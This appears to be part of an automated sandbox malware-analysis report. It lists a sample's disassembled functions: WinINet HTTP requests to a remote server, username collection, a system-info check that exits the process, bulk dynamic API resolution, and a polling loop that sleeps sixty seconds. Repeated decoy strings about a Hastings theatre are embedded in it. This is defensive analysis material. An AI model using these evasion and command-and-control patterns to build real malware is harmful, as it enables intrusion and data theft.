The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00384662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 003845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0038473F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 77cffd5c73ef494fb682f23c877f88e34be8bdf390181f3b2eb24a8e0440e12c
Instruction ID: 2e063f7c37fa68541b47a022c2f46aba042bd111f5326623eb455024a3b2b625
Opcode Fuzzy Hash: 77cffd5c73ef494fb682f23c877f88e34be8bdf390181f3b2eb24a8e0440e12c
Instruction Fuzzy Hash: 584106606E77047EE626BFA49842EDD777ADF4770CF587044E8205638FCBB065894622

Function 00386280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00384839
Part of subcall function 003847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00384849

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

InternetOpenA.WININET(003A0DFE,00000001,00000000,00000000,00000000), ref: 003862E1
StrCmpCA.SHLWAPI(?,0115E828), ref: 00386303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00386335
HttpOpenRequestA.WININET(00000000,GET,?,0115DFC8,00000000,00000000,00400100,00000000), ref: 00386385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0038646D
InternetCloseHandle.WININET(00000000), ref: 003864EF
InternetCloseHandle.WININET(00000000), ref: 003864F9
InternetCloseHandle.WININET(00000000), ref: 00386503

Strings

ERROR, xrefs: 003864C9
GET, xrefs: 0038637C
ERROR, xrefs: 00386407

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: ec90eb388166349e750661b16670738f55a2a616ee9d471b54b616c3e386faf6
Instruction ID: 09556aedb75f6a886fd4a2da66488018361f6e102fd6a5948261133a35a7eca2
Opcode Fuzzy Hash: ec90eb388166349e750661b16670738f55a2a616ee9d471b54b616c3e386faf6
Instruction Fuzzy Hash: 5D714E71A00318ABDF15EBA0CC4AFEE77B8FB44704F104198F10A6B190DBB46A89DF91

Function 00397850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003811B7), ref: 00397880
RtlAllocateHeap.NTDLL(00000000), ref: 00397887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0039789F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 4bade1e5e5f9f6933ca1c3133ced58e060376b16a59062a1d8d7b00e3592d636
Instruction ID: 6e16944608dc63ea6d3a9f65c249c60cada6f8bcf7c3beec70a1a06307d3152a
Opcode Fuzzy Hash: 4bade1e5e5f9f6933ca1c3133ced58e060376b16a59062a1d8d7b00e3592d636
Instruction Fuzzy Hash: 27F04FB1944609AFDB00DF99DD4AFAEBFB8FB04715F10025AFA05A2680C77815048BA1

Function 00381160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0038116A
ExitProcess.KERNEL32 ref: 0038117E

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8546a621678b8cc3be2ca66fc32eca390fbcbbb81d85b752b3c34a285384ba46
Instruction ID: ddcf895beb346e7908b5dd2dd2d339100d6328637f3f925fcba0c875c603a022
Opcode Fuzzy Hash: 8546a621678b8cc3be2ca66fc32eca390fbcbbb81d85b752b3c34a285384ba46
Instruction Fuzzy Hash: B2D05E7490030CDFCB00EFE0DC8DADDBBB8FB08315F000594D90562340EA305486CBA6

Function 00399C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01145270), ref: 00399C2D
GetProcAddress.KERNEL32(74DD0000,01145410), ref: 00399C45
GetProcAddress.KERNEL32(74DD0000,01159310), ref: 00399C5E
GetProcAddress.KERNEL32(74DD0000,011593A0), ref: 00399C76
GetProcAddress.KERNEL32(74DD0000,01159430), ref: 00399C8E
GetProcAddress.KERNEL32(74DD0000,011593D0), ref: 00399CA7
GetProcAddress.KERNEL32(74DD0000,0114B9D0), ref: 00399CBF
GetProcAddress.KERNEL32(74DD0000,0115D1E0), ref: 00399CD7
GetProcAddress.KERNEL32(74DD0000,0115D150), ref: 00399CF0
GetProcAddress.KERNEL32(74DD0000,0115D228), ref: 00399D08
GetProcAddress.KERNEL32(74DD0000,0115D1F8), ref: 00399D20
GetProcAddress.KERNEL32(74DD0000,011454D0), ref: 00399D39
GetProcAddress.KERNEL32(74DD0000,011455B0), ref: 00399D51
GetProcAddress.KERNEL32(74DD0000,01145290), ref: 00399D69
GetProcAddress.KERNEL32(74DD0000,01145470), ref: 00399D82
GetProcAddress.KERNEL32(74DD0000,0115D330), ref: 00399D9A
GetProcAddress.KERNEL32(74DD0000,0115D210), ref: 00399DB2
GetProcAddress.KERNEL32(74DD0000,0114B8B8), ref: 00399DCB
GetProcAddress.KERNEL32(74DD0000,01145490), ref: 00399DE3
GetProcAddress.KERNEL32(74DD0000,0115D108), ref: 00399DFB
GetProcAddress.KERNEL32(74DD0000,0115D0F0), ref: 00399E14
GetProcAddress.KERNEL32(74DD0000,0115D1C8), ref: 00399E2C
GetProcAddress.KERNEL32(74DD0000,0115D270), ref: 00399E44
GetProcAddress.KERNEL32(74DD0000,011455D0), ref: 00399E5D
GetProcAddress.KERNEL32(74DD0000,0115D2B8), ref: 00399E75
GetProcAddress.KERNEL32(74DD0000,0115D2D0), ref: 00399E8D
GetProcAddress.KERNEL32(74DD0000,0115D168), ref: 00399EA6
GetProcAddress.KERNEL32(74DD0000,0115D180), ref: 00399EBE
GetProcAddress.KERNEL32(74DD0000,0115D390), ref: 00399ED6
GetProcAddress.KERNEL32(74DD0000,0115D288), ref: 00399EEF
GetProcAddress.KERNEL32(74DD0000,0115D0D8), ref: 00399F07
GetProcAddress.KERNEL32(74DD0000,0115D240), ref: 00399F1F
GetProcAddress.KERNEL32(74DD0000,0115D258), ref: 00399F38
GetProcAddress.KERNEL32(74DD0000,0115A1F0), ref: 00399F50
GetProcAddress.KERNEL32(74DD0000,0115D348), ref: 00399F68
GetProcAddress.KERNEL32(74DD0000,0115D198), ref: 00399F81
GetProcAddress.KERNEL32(74DD0000,011452B0), ref: 00399F99
GetProcAddress.KERNEL32(74DD0000,0115D1B0), ref: 00399FB1
GetProcAddress.KERNEL32(74DD0000,011454F0), ref: 00399FCA
GetProcAddress.KERNEL32(74DD0000,0115D318), ref: 00399FE2
GetProcAddress.KERNEL32(74DD0000,0115D120), ref: 00399FFA
GetProcAddress.KERNEL32(74DD0000,011455F0), ref: 0039A013
GetProcAddress.KERNEL32(74DD0000,01145610), ref: 0039A02B
LoadLibraryA.KERNEL32(0115D2A0,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A03D
LoadLibraryA.KERNEL32(0115D138,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A04E
LoadLibraryA.KERNEL32(0115D3A8,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A060
LoadLibraryA.KERNEL32(0115D2E8,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A072
LoadLibraryA.KERNEL32(0115D300,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A083
LoadLibraryA.KERNEL32(0115D360,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A095
LoadLibraryA.KERNEL32(0115D378,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A0A7
LoadLibraryA.KERNEL32(0115D3C0,?,00395CA3,003A0AEB,?,?,?,?,?,?,?,?,?,?,003A0AEA,003A0AE3), ref: 0039A0B8
GetProcAddress.KERNEL32(75290000,01145710), ref: 0039A0DA
GetProcAddress.KERNEL32(75290000,0115D558), ref: 0039A0F2
GetProcAddress.KERNEL32(75290000,01159060), ref: 0039A10A
GetProcAddress.KERNEL32(75290000,0115D570), ref: 0039A123
GetProcAddress.KERNEL32(75290000,01145850), ref: 0039A13B
GetProcAddress.KERNEL32(73560000,0114B9F8), ref: 0039A160
GetProcAddress.KERNEL32(73560000,01145750), ref: 0039A179
GetProcAddress.KERNEL32(73560000,0114B7A0), ref: 0039A191
GetProcAddress.KERNEL32(73560000,0115D468), ref: 0039A1A9
GetProcAddress.KERNEL32(73560000,0115D4B0), ref: 0039A1C2
GetProcAddress.KERNEL32(73560000,01145830), ref: 0039A1DA
GetProcAddress.KERNEL32(73560000,011456F0), ref: 0039A1F2
GetProcAddress.KERNEL32(73560000,0115D4F8), ref: 0039A20B
GetProcAddress.KERNEL32(752C0000,01145930), ref: 0039A22C
GetProcAddress.KERNEL32(752C0000,011456D0), ref: 0039A244
GetProcAddress.KERNEL32(752C0000,0115D3F0), ref: 0039A25D
GetProcAddress.KERNEL32(752C0000,0115D510), ref: 0039A275
GetProcAddress.KERNEL32(752C0000,011458F0), ref: 0039A28D
GetProcAddress.KERNEL32(74EC0000,0114B868), ref: 0039A2B3
GetProcAddress.KERNEL32(74EC0000,0114BB60), ref: 0039A2CB
GetProcAddress.KERNEL32(74EC0000,0115D3D8), ref: 0039A2E3
GetProcAddress.KERNEL32(74EC0000,011458D0), ref: 0039A2FC
GetProcAddress.KERNEL32(74EC0000,01145730), ref: 0039A314
GetProcAddress.KERNEL32(74EC0000,0114BA70), ref: 0039A32C
GetProcAddress.KERNEL32(75BD0000,0115D528), ref: 0039A352
GetProcAddress.KERNEL32(75BD0000,01145770), ref: 0039A36A
GetProcAddress.KERNEL32(75BD0000,01159070), ref: 0039A382
GetProcAddress.KERNEL32(75BD0000,0115D540), ref: 0039A39B
GetProcAddress.KERNEL32(75BD0000,0115D588), ref: 0039A3B3
GetProcAddress.KERNEL32(75BD0000,011457B0), ref: 0039A3CB
GetProcAddress.KERNEL32(75BD0000,01145630), ref: 0039A3E4
GetProcAddress.KERNEL32(75BD0000,0115D450), ref: 0039A3FC
GetProcAddress.KERNEL32(75BD0000,0115D480), ref: 0039A414
GetProcAddress.KERNEL32(75A70000,01145910), ref: 0039A436
GetProcAddress.KERNEL32(75A70000,0115D4C8), ref: 0039A44E
GetProcAddress.KERNEL32(75A70000,0115D408), ref: 0039A466
GetProcAddress.KERNEL32(75A70000,0115D420), ref: 0039A47F
GetProcAddress.KERNEL32(75A70000,0115D438), ref: 0039A497
GetProcAddress.KERNEL32(75450000,011456B0), ref: 0039A4B8
GetProcAddress.KERNEL32(75450000,011457D0), ref: 0039A4D1
GetProcAddress.KERNEL32(75DA0000,01145950), ref: 0039A4F2
GetProcAddress.KERNEL32(75DA0000,0115D498), ref: 0039A50A
GetProcAddress.KERNEL32(6F070000,01145790), ref: 0039A530
GetProcAddress.KERNEL32(6F070000,011457F0), ref: 0039A548
GetProcAddress.KERNEL32(6F070000,01145810), ref: 0039A560
GetProcAddress.KERNEL32(6F070000,0115D4E0), ref: 0039A579
GetProcAddress.KERNEL32(6F070000,01145870), ref: 0039A591
GetProcAddress.KERNEL32(6F070000,01145650), ref: 0039A5A9
GetProcAddress.KERNEL32(6F070000,01145970), ref: 0039A5C2
GetProcAddress.KERNEL32(6F070000,01145890), ref: 0039A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0039A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0039A607
GetProcAddress.KERNEL32(75AF0000,0115CF10), ref: 0039A629
GetProcAddress.KERNEL32(75AF0000,011590A0), ref: 0039A641
GetProcAddress.KERNEL32(75AF0000,0115CDD8), ref: 0039A659
GetProcAddress.KERNEL32(75AF0000,0115D060), ref: 0039A672
GetProcAddress.KERNEL32(75D90000,011458B0), ref: 0039A693
GetProcAddress.KERNEL32(6F960000,0115CF40), ref: 0039A6B4
GetProcAddress.KERNEL32(6F960000,01145670), ref: 0039A6CD
GetProcAddress.KERNEL32(6F960000,0115D048), ref: 0039A6E5
GetProcAddress.KERNEL32(6F960000,0115CFD0), ref: 0039A6FD

Strings

HttpQueryInfoA, xrefs: 0039A5FC
InternetSetOptionA, xrefs: 0039A5E5

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 0fbb0d7a8573fbd0b5be1b57571cb6898d4332bce4a805b3f11da1d68ecdc510
Instruction ID: 701fd599167cd8c19d1371658738c6bee902014338ffe8dcf5958d3c3943077f
Opcode Fuzzy Hash: 0fbb0d7a8573fbd0b5be1b57571cb6898d4332bce4a805b3f11da1d68ecdc510
Instruction Fuzzy Hash: D0628DB5500A48AFC748DFA8FD88D563FF9F7AC309304851AA609C3225D739985AFF52

Function 00395510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0039A820: lstrlen.KERNEL32(00384F05,?,?,00384F05,003A0DDE), ref: 0039A82B
Part of subcall function 0039A820: lstrcpy.KERNEL32(003A0DDE,00000000), ref: 0039A885

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395857

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395228

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 003952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395318
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 0039532F
Part of subcall function 003952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00395364
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 00395383
Part of subcall function 003952C0: lstrlen.KERNEL32(00000000), ref: 003953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0039578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00395940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00395A0C
Sleep.KERNEL32(0000EA60), ref: 00395A1B

Strings

ERROR, xrefs: 00395932
ERROR, xrefs: 0039577D
ERROR, xrefs: 00395693
ERROR, xrefs: 003959FE
ERROR, xrefs: 00395636
ERROR, xrefs: 00395849

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

